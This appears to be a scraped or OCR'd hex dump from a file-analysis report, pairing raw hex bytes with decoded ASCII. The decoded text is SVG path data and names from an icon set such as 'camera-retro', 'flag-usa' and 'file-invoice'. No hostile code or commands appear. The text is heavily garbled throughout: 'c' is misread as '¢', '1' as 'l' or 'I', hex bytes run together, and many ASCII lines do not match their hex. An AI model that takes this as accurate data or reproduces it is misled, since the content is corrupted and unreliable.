31 31 36 2d 33 33 2e 32 35 33 20 32 35 2e 38 35 31 43 34 38 2e 35 33 37 20 31 39 35 2e 37 39 38 20 30 20 32 30 37 2e
34 38 36 20 30 20 32 35 32 2e 38 63 30 20 35 36 2e 39 32 38 20 33 35 2e 32 38 36 20 39 32 20 38 33 2e 32 20 39 32 20
38 2e 30 32 36 20 30 20 31 35 2e 34 38 39 2d 2e 38 31 34 20 32 32 2e 34 2d

Data Ascii: 32H156.8C140.894 0 128 14.327 128 32v64c0 8.584 3.048 16.373 8 22.12v2.679c0 6.964-6.193 14.862-23
.668 30.1831-.148.129-.146.131¢-9.937 8.856-20.841 18.116-33.253 25.851C48.537 195.798 0 207.486 0 252.8c0 56.928
35.286 92 83.2 92 8.026 0 15.489-.814 22.4-
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Data

Data Raw: 3a 5b 34 39 36 2c 35 31 32 2c¢ 5b 5d 2¢ 22 66 35 39 36 22 2c 22 4d 31 36 38 20 31 37 36 63 2d 31 37 2e 37
20 30 2d 33 32 20 31 34 2e 33 2d 33 32 20 33 32 73 31 34 2e 33 20 33 32 20 33 32 20 33 32 20 33 32 2d 31 34 2e 33 20
3332 2d 3332 2d 31 34 2e 33 2d 33 32 2d 33 32 2d 33 32 7a 6d 31 33 36 20 31 33 32 63 30 2d 31 39 2e 32 2d 32 38 2e
38 2d 34 31 2e 35 2d 37 31 2e 35 2d 34 34 2d 33 2e 38 2d 2e 34 2d 37 2e 34 20 32 2e 34 2d 38 2e 32 20 36 2e 32 2d 2e
39 20 33 2e 38 20 31 2e 31 20 37 2e 37 20 34 2e 37 20 39 2e 32 6¢ 31 36 2e 39 20 37 2e 32 63 31 33 20 35 2e 35 20 32
30 2e 38 20 31 33 2e 35 20 32 30 2e 38 20 32 31 2e 35 73 2d 37 2e 38 20 31 36 2d 32 30 2e 37 20 32 31 2e 35 6¢ 2d 31
37 20 37 2e 32 63 2d 35 2e 37 20 32 2e 34 2d 36 20 31 32 2e 32 20 30 20 31

Data Ascii: :[496,512,[],"f596","M168 176¢-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm136 132c0-
19.2-28.8-41.5-71.5-44-3.8-4-7.4 2.4-8.26.2-93.81.1 7.7 4.7 9.2116.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5|
-177.2¢-5.724-612201

Data Raw: 35 20 34 38 2d 34 38 20 34 38 48 34 38 63 2d 32 36 2e 35 20 30 2d 34 38 2d 32 31 2e 35 2d 34 38 2d 34 38
56 38 30 63 30 2d 32 36 2e 35 20 32 31 2e 35 2d 34 38 20 34 38 2d 34 38 68 33 35 32 63 32 36 2e 35 20 30 20 34 38 20
32 31 2e 3520 34 38 20 34 38 7a 6d 2d 34 38 20 33 34 36 56 38 36 63 30 2d 33 2e 33 2d 32 2e 37 2d 36 2d 36 2d 36 48
35 34 63 2d 33 2e 33 20 30 2d 36 20 32 2e 37 2d 36 20 36 76 33 34 30 63 30 20 33 2e 33 20 32 2e 37 20 36 20 36 20 36
68 33 34 30 63 33 2e 33 20 30 20 36 2d 32 2e 37 20 36 2d 36 7a 22 5d 2c 22 71 75 65 73 74 69 6f 6e 2d 63 69 72 63 6¢
65 22 3a 5b 35 31 32 2¢ 35 31 32 2¢ 5b 5d 2¢ 22 66 30 35 39 22 2c 22 4d 32 35 36 20 38 43 31 31 39 2e 30 34 33 20 38
20 38 20 31 31 39 2e 30 38 33 20 38 20 32 35 36 63 30 20 31 33 36 2e 39 39

Data Ascii: 5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352¢26.5 0 48 21.5 48 48zm-48 346V86¢0-
3.3-2.7-6-6-6H54c¢-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-62"],"question-circle™:[512,512,[],"f059","M256
8C119.043 8 8 119.083 8 256¢0 136.99

Data Raw: 20 38 30 76 33 35 32 63 30 20 32 36 2e 35 20 32 31 2e 35 20 34 38 20 34 38 20 34 38 68 34 31 36 63 32 36
2e 3520 30 20 34 38 2d 32 31 2e 35 20 34 38 2d 34 38 56 38 30 63 30 2d 32 36 2e 35 2d 32 31 2e 35 2d 34 38 2d 34 38
2d 34 38 7a 6d 30 20 33 39 34 63 30 20 33 2e 33 2d 32 2e 37 20 36 2d 36 20 36 48 35 34 63 2d 33 2e 33 20 30 2d 36 2d
32 2e 37 2d 36 2d 36 56 31 39 32 68 34 31 36 76 32 33 34 7a 22 5d 2c 22 77 69 6e 64 6f 77 2d 6d 69 6e 69 6d 69 7a 65
22 3a5b 353132 2c 353132 2c 5b 5d 2c 22 66 32 64 31 22 2¢c 22 4d 34 38 30 20 34 38 30 48 33 32 63 2d 31 37 2e 37
20 30 2d 33 32 2d 31 34 2e 33 2d 33 32 2d 33 32 73 31 34 2e 33 2d 33 32 20 33 32 2d 33 32 68 34 34 38 63 31 37 2e 37
20 30 20 33 32 20 31 34 2e 33 20 33 32 20 33 32 73 2d 31 34 2e 33 20 33 32

Data Ascii: 80v352c0 26.5 21.5 48 48 48h416¢26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6
6H54¢-3.3 0-6-2.7-6-6V192h416v2342"],"window-minimize":[512,512,[],"f2d1","M480 480H32c-17.7 0-32-14.3-32-32514.3-
32 32-32h448c17.7 0 32 14.3 32 32s-14.3 32

Data Raw: 2d 38 2e 38 34 2d 37 2e 31 36 2d 31 36 2d 31 36 2d 31 36 7a 22 5d 2c 22 61 72 72 6f 77 2d 61 6¢ 74 2d 63 69
72 63 6¢ 65 2d 64 6f 77 6e 22 3a 5b 35 31 32 2¢ 35 31 32 2¢ 5b 5d 2c 22 66 33 35 38 22 2¢ 22 4d 35 30 34 20 32 35 36
63 3020 31 33 37 2d 31 31 31 20 32 34 38 2d 32 34 38 20 32 34 38 53 38 20 33 39 33 20 38 20 32 35 36 20 31 31 39 20
3820 32 3536 20 38 73 32 34 38 20 31 31 31 20 32 34 38 20 32 34 38 7a 4d 32 31 32 20 31 34 30 76 31 31 36 68 2d 37
30 2e 39 63 2d 31 30 2e 37 20 30 2d 31 36 2e 31 20 31 33 2d 38 2e 35 20 32 30 2e 35 6¢ 31 31 34 2e 39 20 31 31 34 2e
33 63 34 2e 37 20 34 2e 37 20 31 32 2e 32 20 34 2e 37 20 31 36 2e 39 20 30 6¢ 31 31 34 2e 39 2d 31 31 34 2e 33 63 37
2e 36 2d 37 2e 36 20 32 2e 32 2d 32 30 2e 35 2d 38 2e 35 2d 32 30 2e 35

Data Ascii: -8.84-7.16-16-16-16z"],"arrow-alt-circle-down":[512,512,[],"f358","M504 256¢0 137-111 248-248 248S8 393 8
256 119 8 256 85248 111 248 248zM212 140v116h-70.9¢-10.7 0-16.1 13-8.5 20.51114.9 114.3¢c4.7 4.7 12.2 4.7 16.9 Ol
114.9-114.3¢7.6-7.6 2.2-20.5-8.5-20.5

Data Raw: 39 2e 38 61 32 38 36 2e 37 34 2c 32 38 36 2e 37 34 2¢ 30 2c 30 2c 30 2d 34 33 2e 39 34 2¢ 32 33 2e 35 37 6¢C
2d 36 2e 33 32 2d 38 2e 34 33 61 31 37 2e 39 2¢ 31 37 2e 39 2¢ 30 2¢ 30 2¢ 30 2d 32 34 2e 39 34 2d 33 2e 36 41 31 37
2e 36 39 2c¢ 31 37 2e 36 39 2¢ 30 2¢ 30 2¢ 30 2c 31 31 36 2e 38 34 2c 38 32 6¢ 36 2e 34 35 2¢ 38 2e 36 31 61 32 38 36
2e 35 39 2¢ 32 38 36 2e 35 39 2¢ 30 2¢ 30 2c 30 2d 33 34 2e 39 35 2c¢ 33 35 2e 33 33 6¢ 2d 38 2e 38 32 2d 36 2e 34 32 6
131 37 2e 38 34 2¢ 31 37 2e 38 34 2¢ 30 2¢ 30 2c 30 2d 32 34 2e 38 39 2c 33 2e 38 36 2c 31 37 2e 36 36 2c 31 37 2e 36
36 2¢ 30 2¢ 30 2c 30 2c 33 2e 38 38 2¢ 32 34 2e 37 37 6¢ 38 2e 38 38 2¢c 36 2e 34 37 61 32 38 36 2e 36 2c 32 38 36 2e
36 2¢ 30 2¢ 30 2c 30 2d 32 33 2c 34 33 2e 39 31 6¢ 2d 31 30 2e 34 38

Data Ascii: 9.8a286.74,286.74,0,0,0-43.94,23.57-6.32-8.43a17.9,17.9,0,0,0-24.94-3.6A17.69,17.69,0,0,0,116.84,
8216.45,8.61a286.59,286.59,0,0,0-34.95,35.331-8.82-6.42a17.84,17.84,0,0,0-24.89,3.86,17.66,17.66,0,0,0,3.88,24
.7718.88,6.47a286.6,286.6,0,0,0-23,43.911-10.48

Data Raw: 36 6¢ 32 33 2e 36 36 34 2d 33 38 2e 32 32 38 7a 4d 31 32 38 2e 30 30 32 20 34 30 30 63 2d 34 34 2e 31 31
322030 2d 38 30 2d 33 35 2e 38 38 38 2d 38 30 2d 38 30 73 33 35 2e 38 38 38 2d 38 30 20 38 30 2d 38 30 63 35 2e 38
36 39 20 30 20 31 31 2e 35 38 36 2e 36 35 33 20 31 37 2e 30 39 39 20 31 2e 38 35 39 6¢ 2d 34 35 2e 35 30 35 20 37 33
2e 35 30 39 43 38 39 2e 37 31 35 20 33 33 31 2e 33 32 37 20 31 30 31 2e 32 31 33 20 33 35 32 20 31 32 30 2e 30 30 32
20 33 35 32 68 38 31 2e 33 63 2d 31 32 2e 33 37 20 32 38 2e 32 32 35 2d 34 30 2e 35 36 32 20 34 38 2d 37 33 2e 33 20
34 38 7a 6d 31 36 32 2e 36 33 2d 39 36 68 2d 33 35 2e 36 32 34 63 2d 33 2e 39 36 2d 33 31 2e 37 35 36 2d 31 39 2e 35
35 36 2d 35 39 2e 38 39 34 2d 34 32 2e 33 38 33 2d 38 30 2e 30 32 36 4c 32

Data Ascii: 6123.664-38.228zM128.002 400c-44.112 0-80-35.888-80-80s35.888-80 80-80c5.869 0 11.586.653 17.099 1
.8591-45.505 73.509C89.715 331.327 101.213 352 120.002 352h81.3c-12.37 28.225-40.562 48-73.3 48zm162.63-96h-35
.624¢-3.96-31.756-19.556-59.894-42.383-80.026L.2

Data Raw: 7a 4d 35 33 2e 32 20 34 31 4c 31 2e 37 20 31 34 33 2e 38 63 2d 34 2e 36 20 39 2e 32 2e 33 20 32 30 2e 32
20 31 30 2e 31 20 32 33 6¢ 31 39 37 2e 39 20 35 36 2e 35 63 37 2e 31 20 32 20 31 34 2e 37 2d 31 20 31 38 2e 35 2d 37
2e 33 4c 33 32 30 20 36 34 20 36 39 2e 38 20 33 32 2e 31 63 2d 36 2e 39 2d 2e 38 2d 31 33 2e 35 20 32 2e 37 2d 31 36
2e 36 20 38 2e 39 7a 22 5d 2c 22 62 6f 78 2d 74 69 73 73 75 65 22 3a 5b 35 31 32 2¢ 35 31 32 2¢ 5b 5d 2c 22 66 39 35
62 22 2c 22 4d 33 38 33 2e 38 38 2c 32 38 37 2e 38 32 6¢ 36 34 2d 31 39 32 48 33 33 38 2e 34 37 61 37 30 2e 32 2¢ 37
30 2e 32 2¢ 30 2¢ 30 2c 31 2d 36 36 2e 35 39 2d 34 38 2c 37 30 2e 32 31 2c 37 30 2e 32 31 2¢ 30 2¢ 30 2¢ 30 2d 36 36
2e 36 2d 34 38 48 36 33 2e 38 38 6¢ 36 34 2c 32 38 38 5a 6d 2d 33 38 34 2¢

Data Ascii: zM53.2 411.1.7 143.8¢-4.6 9.2.3 20.2 10.1 231197.9 56.5¢7.1 2 14.7-1 18.5-7.3.320 64 69.8 32.1¢-6.9-.8-13.5
2.7-16.6 8.92"],"box-tissue™:[512,512,[],"f95b","M383.88,287.82164-192H338.47a70.2,70.2,0,0,1-66.59-48,70.21,70
.21,0,0,0-66.6-48H63.88164,288Zm-384,

Data Raw: 2d 35 33 2e 38 20 31 32 30 2d 31 32 30 7a 6d 2d 33 32 20 30 63 30 20 34 38 2e 35 2d 33 39 2e 35 20 38 38
2d 38 38 20 38 38 73 2d 38 38 2d 33 39 2e 35 2d 38 38 2d 38 38 20 33 39 2e 35 2d 38 38 20 38 38 2d 38 38 20 38 38 20
3339 2e 3520 38 38 20 38 38 7a 22 5d 2¢c 22 63 61 6d 65 72 61 2d 72 65 74 72 6f 22 3a 5b 3531 322c¢ 353132 2c 5b 5
d 2c 22 66 30 38 33 22 2¢ 22 4d 34 38 20 33 32 43 32 31 2e 35 20 33 32 20 30 20 35 33 2e 35 20 30 20 38 30 76 33 35
32 63 30 20 32 36 2e 35 20 32 31 2e 35 20 34 38 20 34 38 20 34 38 68 34 31 36 63 32 36 2e 35 20 30 20 34 38 2d 32 31
2e 3520 34 38 2d 34 38 56 38 30 63 30 2d 32 36 2e 35 2d 32 31 2e 35 2d 34 38 2d 34 38 2d 34 38 48 34 38 7a 6d 30 20
333268 31 30 36 63 33 2e 33 20 30 20 36 20 32 2e 37 20 36 20 36 76 32 30

Data Ascii: -53.8 120-120zm-32 0c0 48.5-39.5 88-88 88s-88-39.5-88-88 39.5-88 88-88 88 39.5 88 88z"],"camera-retro":
[512,512,[],"f083","M48 32C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416¢26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-
48-48H48zm0 32h106¢3.3 0 6 2.7 6 6v20
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Data

Data Raw: 20 30 20 39 36 2d 34 32 2e 39 38 20 39 36 2d 39 36 73 2d 34 32 2e 39 38 2d 39 36 2d 39 36 2d 39 36 2d 39
36 20 34 32 2e 39 38 2d 39 36 20 39 36 20 34 32 2e 39 38 20 39 36 20 39 36 20 39 36 7a 4d 35 39 32 20 30 48 32 30 38
63 2d 32 36 2e 34 37 20 30 2d 34 38 20 32 32 2e 32 35 2d 34 38 20 34 39 2e 35 39 56 39 36 63 32 33 2e 34 32 20 30 20
34 35 2e 31 20 36 2e 37 38 20 36 34 20 31 37 2e 38 56 36 34 68 33 35 32 76 32 38 38 68 2d 36 34 76 2d 36 34 48 33 38
34 76 36 34 68 2d 37 36 2e 32 34 63 31 39 2e 31 20 31 36 2e 36 39 20 33 33 2e 31 32 20 33 38 2e 37 33 20 33 39 2e 36
39 20 36 34 48 35 39 32 63 32 36 2e 34 37 20 30 20 34 38 2d 32 32 2e 32 35 20 34 38 2d 34 39 2e 35 39 56 34 39 2e 35
39 43 36 34 30 20 32 32 2e 32 35 20 36 31 38 2e 34 37 20 30 20 35 39 32 20

Data Ascii: 0 96-42.98 96-96s-42.98-96-96-96-96 42.98-96 96 42.98 96 96 96zM592 0H208¢-26.47 0-48 22.25-48 49
.59V96¢23.42 0 45.1 6.78 64 17.8V64h352v288h-64v-64H384v64h-76.24¢19.1 16.69 33.12 38.73 39.69 64H592¢26.47 0
48-22.25 48-49.59V49.59C640 22.25 618.47 0 592

Data Raw: 34 2d 31 30 2e 37 20 32 34 2d 32 34 20 32 34 7a 6d 30 2d 39 36 63 2d 31 33 2e 33 20 30 2d 32 34 2d 31 30
2e 37 2d 32 34 2d 32 34 73 31 30 2e 37 2d 32 34 20 32 34 2d 32 34 20 32 34 20 31 30 2e 37 20 32 34 20 32 34 2d 31 30
2e 37 20 32 34 2d 32 34 20 32 34 7a 6d 39 36 2d 31 39 32 63 31 33 2e 33 20 30 20 32 34 20 31 30 2e 37 20 32 34 20 32
34 73 2d 31 30 2e 37 20 32 34 2d 32 34 20 32 34 2d 32 34 2d 31 30 2e 37 2d 32 34 2d 32 34 20 31 30 2e 37 2d 32 34 20
32 34 2d 32 34 7a 6d 31 32 38 20 33 36 38 63 30 20 34 2e 34 2d 33 2e 36 20 38 2d 38 20 38 48 31 36 38 63 2d 34 2e 34
20 30 2d 38 2d 33 2e 36 2d 38 2d 38 76 2d 31 36 63 30 2d 34 2e 34 20 33 2e 36 2d 38 20 38 2d 38 68 31 34 34 63 34 2e
34 20 30 20 38 20 33 2e 36 20 38 20 38 76 31 36 7a 6d 30 2d 39 36 63 30 20

Data Ascii: 4-10.7 24-24 24zm0-96¢-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm96-192c¢13.3 0
24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm128 368c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4
3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0

Data Raw: 32 2e 30 33 20 33 2e 31 38 20 31 2e 34 36 20 36 2e 36 36 20 32 2e 32 32 20 31 30 2e 32 36 20 32 2e 32 32
68 33 32 2e 37 38 63 34 2e 36 36 20 30 20 38 2e 34 34 2d 33 2e 37 38 20 38 2e 34 34 2d 38 2e 34 32 20 30 2d 33 2e 37
35 2d 32 2e 35 32 2d 37 2e 30 38 2d 36 2e 31 32 2d 38 2e 31 31 6¢ 2d 35 30 2e 30 37 2d 31 34 2e 33 63 2d 32 32 2e 32
35 2d 36 2e 33 35 2d 34 30 2e 30 31 2d 32 34 2e 37 31 2d 34 32 2e 39 31 2d 34 37 2e 36 37 2d 34 2e 30 35 2d 33 32 2e
30 37 20 31 39 2e 30 33 2d 35 39 2e 34 33 20 34 39 2e 33 32 2d 36 33 2e 30 35 56 31 32 38 63 30 2d 38 2e 38 34 20 37
2e 31 36 2d 31 36 20 31 36 2d 31 36 68 31 36 63 38 2e 38 34 20 30 20 31 36 20 37 2e 31 36 20 31 36 20 31 36 76 31 37
2e 37 33 63 31 31 2e 34 32 20 31 2e 33 35 20 32 32 2e 32 38 20 35 2e 31 39

Data Ascii: 2.03 3.18 1.46 6.66 2.22 10.26 2.22h32.78c4.66 0 8.44-3.78 8.44-8.42 0-3.75-2.52-7.08-6.12-8.111-50.07-
14.3¢-22.25-6.35-40.01-24.71-42.91-47.67-4.05-32.07 19.03-59.43 49.32-63.05V128¢0-8.84 7.16-16 16-16h16c8.84 0 16
7.16 16 16v17.73c11.42 1.35 22.28 5.19

Data Raw: 34 2e 36 38 37 20 34 2e 36 38 36 20 31 32 2e 32 38 34 20 34 2e 36 38 36 20 31 36 2e 39 37 31 20 30 4c 31
39 37 2e 32 35 36 20 33 36 30 63 34 2e 36 38 36 2d 34 2e 36 38 36 20 34 2e 36 38 36 2d 31 32 2e 32 38 34 20 30 2d 31
36 2e 39 37 31 6¢ 2d 32 38 2e 32 38 36 2d 32 38 2e 32 38 34 7a 22 5d 2c 64 65 6d 6f 63 72 61 74 3a 5b 36 34 30 2¢ 35 3
132 2c 5b 5d 2¢ 22 66 37 34 37 22 2c 22 4d 36 33 37 2e 33 20 32 35 36 2e 39 6¢ 2d 31 39 2e 36 2d 32 39 2e 34 63 2d
32 38 2e 32 2d 34 32 2e 33 2d 37 35 2e 33 2d 36 37 2e 35 2d 31 32 36 2e 31 2d 36 37 2e 35 48 32 35 36 6¢ 2d 38 31 2e
32 2d 38 31 2e 32 63 32 30 2e 31 2d 32 30 2e 31 20 32 32 2e 36 2d 35 31 2e 31 20 37 2e 35 2d 37 33 2e 39 2d 33 2e 34
2d 35 2e 32 2d 31 30 2e 38 2d 35 2e 39 2d 31 35 2e 32 2d 31 2e 35 6¢ 2d 34

Data Ascii: 4.687 4.686 12.284 4.686 16.971 0L197.256 360c4.686-4.686 4.686-12.284 0-16.971I-28.286-28.2842"],
democrat:[640,512,[],"f747","M637.3 256.91-19.6-29.4¢c-28.2-42.3-75.3-67.5-126.1-67.5H2561-81.2-81.2¢20.1-20.1 22.6-
51.1 7.5-73.9-3.4-5.2-10.8-5.9-15.2-1.5|-4

Data Raw: 2e 31 39 20 35 32 32 2e 34 37 20 36 34 20 34 39 36 20 36 34 48 33 38 34 76 36 34 68 39 36 76 33 38 34 68
31 34 34 63 38 2e 38 34 20 30 20 31 36 2d 37 2e 31 36 20 31 36 2d 31 36 76 2d 33 32 63 30 2d 38 2e 38 34 2d 37 2e 31
36 2d 31 36 2d 31 36 2d 31 36 7a 4d 33 31 32 2e 32 34 20 31 2e 30 31 6¢ 2d 31 39 32 20 34 39 2e 37 34 43 31 30 35 2e
39 39 20 35 34 2e 34 34 20 39 36 20 36 37 2e 37 20 39 36 20 38 32 2e 39 32 56 34 34 38 48 31 36 63 2d 38 2e 38 34 20
30 2d 31 36 20 37 2e 31 36 2d 31 36 20 31 36 76 33 32 63 30 20 38 2e 38 34 20 37 2e 31 36 20 31 36 20 31 36 20 31 36
68 33 33 36 56 33 33 2e 31 38 63 30 2d 32 31 2e 35 38 2d 31 39 2e 35 36 2d 33 37 2e 34 31 2d 33 39 2e 37 36 2d 33 32
2e 31 37 7a 4d 32 36 34 20 32 38 38 63 2d 31 33 2e 32 35 20 30 2d 32 34 2d

Data Ascii: .19 522.47 64 496 64H384v64h96v384h144c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM312.24 1.01I-
192 49.74C105.99 54.44 96 67.7 96 82.92V448H16¢-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h336V33.18c0-21.58-
19.56-37.41-39.76-32.17zM264 288¢-13.25 0-24-

Data Raw: 33 32 2e 30 38 2d 34 30 2e 39 37 31 2d 31 36 2e 39 37 31 6¢ 2d 38 30 20 38 30 63 2d 39 2e 33 37 32 20 39
2e 33 37 33 2d 39 2e 33 37 32 20 32 34 2e 35 36 39 20 30 20 33 33 2e 39 34 31 6¢ 38 30 20 38 30 43 31 30 32 2e 30 35
37 20 34 36 33 2e 39 39 37 20 31 32 38 20 34 35 33 2e 34 33 37 20 31 32 38 20 34 33 32 76 2d 34 38 68 33 36 30 63 31
33 2e 323535 20 30 20 32 34 2d 31 30 2e 37 34 35 20 32 34 2d 32 34 76 2d 31 36 63 30 2d 31 33 2e 32 35 35 2d 31 30
2e 37 34 35 2d 32 34 2d 32 34 2d 32 34 7a 22 5d 2c 65 78 63 6¢ 61 6d 61 74 69 6f 6e 3a 5b 31 39 32 2¢ 35 31 32 2¢ 5b
5d 2c 22 66 31 32 61 22 2c 22 4d 31 37 36 20 34 33 32 63 30 20 34 34 2e 31 31 32 2d 33 35 2e 38 38 38 20 38 30 2d 38
30 20 38 30 73 2d 38 30 2d 33 35 2e 38 38 38 2d 38 30 2d 38 30 20 33 35 2e

Data Ascii: 32.08-40.971-16.9711-80 80c-9.372 9.373-9.372 24.569 0 33.941I80 80C102.057 463.997 128 453.437 128
432v-48h360c13.255 0 24-10.745 24-24v-16¢0-13.255-10.745-24-24-24z7"] ,exclamation:[192,512,[],"f12a","M176 432c0
44.112-35.888 80-80 80s-80-35.888-80-80 35.

Data Raw: 20 31 37 2e 33 2d 32 31 2e 34 20 32 37 2e 34 2d 31 31 2e 33 4c 33 37 39 20 33 30 38 63 36 2e 36 20 36 2e
37 20 36 2e 36 20 31 37 2e 34 20 30 20 32 34 6¢ 2d 39 35 2e 37 20 39 36 2e 34 63 2d 31 30 2e 31 20 31 30 2e 31 2d 32
37 2e 34 20 33 2d 32 37 2e 34 2d 31 31 2e 33 56 33 35 32 48 31 32 38 76 31 33 36 63 30 20 31 33 2e 33 20 31 30 2e 37
20 32 34 20 32 34 20 32 34 68 33 33 36 63 31 33 2e 33 20 30 20 32 34 2d 31 30 2e 37 20 32 34 2d 32 34 56 31 36 30 48
3337 36 63 2d 31 33 2e 32 20 30 2d 32 34 2d 31 30 2e 38 2d 32 34 2d 32 34 7a 22 5d 2c 22 66 69 6¢ 65 2d 69 6e 76 6f
69 63 65 22 3a 5b 33 38 34 2¢ 35 31 32 2¢ 5b 5d 2¢ 22 66 35 37 30 22 2¢ 22 4d 32 38 38 20 32 35 36 48 39 36 76 36 34
68 31 39 32 76 2d 36 34 7a 6d 38 39 2d 31 35 31 4c 32 37 39 2e 31 20 37 63

Data Ascii: 17.3-21.4 27.4-11.3L.379 308c6.6 6.7 6.6 17.4 0 241-95.7 96.4¢-10.1 10.1-27.4 3-27.4-11.3V352H128v136¢0
13.310.7 24 24 24h336¢13.3 0 24-10.7 24-24V160H376¢-13.2 0-24-10.8-24-242"],"file-invoice":[384,512,[],"f570","M288
256H96v64h192v-64zm89-151L.279.1 7¢

Data Raw: 36 20 31 30 2e 32 2d 37 33 2e 36 20 32 30 2e 39 76 2d 37 30 2e 35 63 33 33 2e 32 2d 31 32 2e 32 20 35 30
2e 31 2d 31 39 2e 38 20 37 33 2e 36 2d 32 32 76 37 31 2e 36 63 32 37 2d 33 2e 37 20 34 38 2e 34 2d 31 2e 33 20 37 33
2e 36 20 35 2e 37 76 2d 36 37 2e 34 63 32 33 2e 37 20 37 2e 34 20 34 37 2e 32 20 31 36 2e 37 20 37 33 2e 36 20 32 31
2e 33 76 36 38 2e 34 63 32 33 2e 37 20 35 2e 33 20 34 37 2e 36 20 36 2e 39 20 37 33 2e 36 20 32 2e 37 56 31 34 33 63
32 37 2d 34 2e 38 20 35 32 2e 33 2d 31 33 2e 36 20 37 33 2e 36 2d 32 32 2e 35 7a 22 5d 2c 22 66 6¢ 61 67 2d 75 73 61
22 3a 5b 35 31 32 2¢ 35 31 32 2¢ 5b 5d 2¢ 22 66 37 34 64 22 2c 22 4d 33 32 20 30 43 31 34 2e 33 20 30 20 30 20 31 34
2e 33 20 30 20 33 32 76 34 36 34 63 30 20 38 2e 38 20 37 2e 32 20 31 36 20

Data Ascii: 6 10.2-73.6 20.9v-70.5¢33.2-12.2 50.1-19.8 73.6-22v71.6c27-3.7 48.4-1.3 73.6 5.7v-67.4c23.7 7.4 47.2 16.7
73.6 21.3v68.4¢23.7 5.3 47.6 6.9 73.6 2.7V143c27-4.8 52.3-13.6 73.6-22.52"],"flag-usa":[512,512,[],"f74d","M32 0C14.3 0
014.3 0 32v464c0 8.8 7.2 16
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Data

Data Raw: 37 2e 36 43 35 32 33 2e 33 20 33 36 2e 33 34 20 35 30 38 2e 32 35 20 30 20 34 37 38 2e 32 20 30 48 33 33
2e 3843 33 2e 37 35 20 30 2d 31 31 2e 33 20 33 36 2e 33 34 20 39 2e 39 35 20 35 37 2e 36 4c 32 32 34 20 32 37 31 2e
36 34 56 34 36 34 68 2d 35 36 63 2d 32 32 2e 30 39 20 30 2d 34 30 20 31 37 2e 39 31 2d 34 30 20 34 30 20 30 20 34 2e
34 32 20 33 2e 35 38 20 38 20 38 20 38 68 32 34 30 63 34 2e 34 32 20 30 20 38 2d 33 2e 35 38 20 38 2d 38 20 30 2d 32
32 2e 30 39 2d 31 37 2e 39 31 2d 34 30 2d 34 30 2d 34 30 68 2d 35 36 56 32 37 31 2e 36 34 4c 35 30 32 2e 30 35 20 35
37 2e 36 7a 4d 34 34 33 2e 37 37 20 34 38 6¢ 2d 34 38 20 34 38 48 31 31 36 2e 32 34 6¢ 2d 34 38 2d 34 38 68 33 37 35
2e 3533 7a225d2c 22 67 6¢ 61 73 73 2d 77 68 69 73 6b 65 79 22 3a 5b 35

Data Ascii: 7.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L.224 271.64V464h-56c-22.09 0-40 1
7.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L.502.05 57.6zM443.77 48-48
48H116.241-48-48h375.53z"],"glass-whiskey":[5

Data Raw: 2d 33 2e 37 20 32 32 2e 36 20 36 2e 31 20 32 30 2e 37 20 31 37 2e 39 2d 39 2e 33 20 35 35 2d 38 33 2e 32
20 39 33 2e 33 2d 31 34 33 2e 38 20 39 33 2e 33 7a 6d 31 35 37 2e 37 2d 32 34 39 2e 39 6¢ 2d 32 35 2e 34 20 32 34 2e
36 20 36 20 33 34 2e 39 63 31 20 36 2e 32 2d 35 2e 33 20 31 31 2d 31 31 20 37 2e 39 4c 33 34 34 20 32 33 33 2e 33 6¢
2d 33 31 2e 33 20 31 36 2e 33 63 2d 35 2e 37 20 33 2e 31 2d 31 32 2d 31 2e 37 2d 31 31 2d 37 2e 39 6¢ 36 2d 33 34 2e
39 2d 32 35 2e 34 2d 32 34 2e 36 63 2d 34 2e 35 2d 34 2e 36 2d 31 2e 39 2d 31 32 2e 32 20 34 2e 33 2d 31 33 2e 32 6¢
33 34 2e 39 2d 35 20 31 35 2e 35 2d 33 31 2e 36 63 32 2e 39 2d 35 2e 38 20 31 31 2d 35 2e 38 20 31 33 2e 39 20 30 6¢
31 35 2e 35 20 33 31 2e 36 20 33 34 2e 39 20 35 63 36 2e 33 2e 39 20 39 20

Data Ascii: -3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm157.7-249.9]-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L.344
233.31-31.3 16.3¢-5.7 3.1-12-1.7-11-7.916-34.9-25.4-24.6¢-4.5-4.6-1.9-12.2 4.3-13.2|134.9-5 15.5-31.6¢2.9-5.8 11-5.8 13.9
0115.5 31.6 34.9 5¢6.3.9 9

Data Raw: 34 37 20 36 32 2e 33 31 35 20 31 36 2e 34 35 43 33 36 31 2e 38 37 38 20 31 35 38 2e 34 32 36 20 33 38 34
20 31 38 39 2e 33 34 36 20 33 38 34 20 32 34 30 63 30 20 32 2e 37 34 36 2d 2e 32 30 33 20 31 33 2e 32 37 36 2d 2e 31
39 35 20 31 36 20 2e 31 36 38 20 36 31 2e 39 37 31 2d 33 31 2e 30 36 35 20 37 36 2e 38 39 34 2d 33 38 2e 33 31 35 20
313233 2e 37 333143333433 2e 363833203339 31 2e 34 30 34 20 33 33 33 2e 3539 39 20 34 3030 20 33 32 31
2e 37 38 36 20 34 30 30 48 31 35 30 2e 32 36 31 6¢ 2d 2e 30 30 31 2d 2e 30 30 32 63 2d 31 38 2e 33 36 36 2d 2e 30 31
31 2d 33 35 2e 38 38 39 2d 31 30 2e 36 30 37 2d 34 33 2e 38 34 35 2d 32 38 2e 34 36 34 43 39 33 2e 34 3231 20 33 34
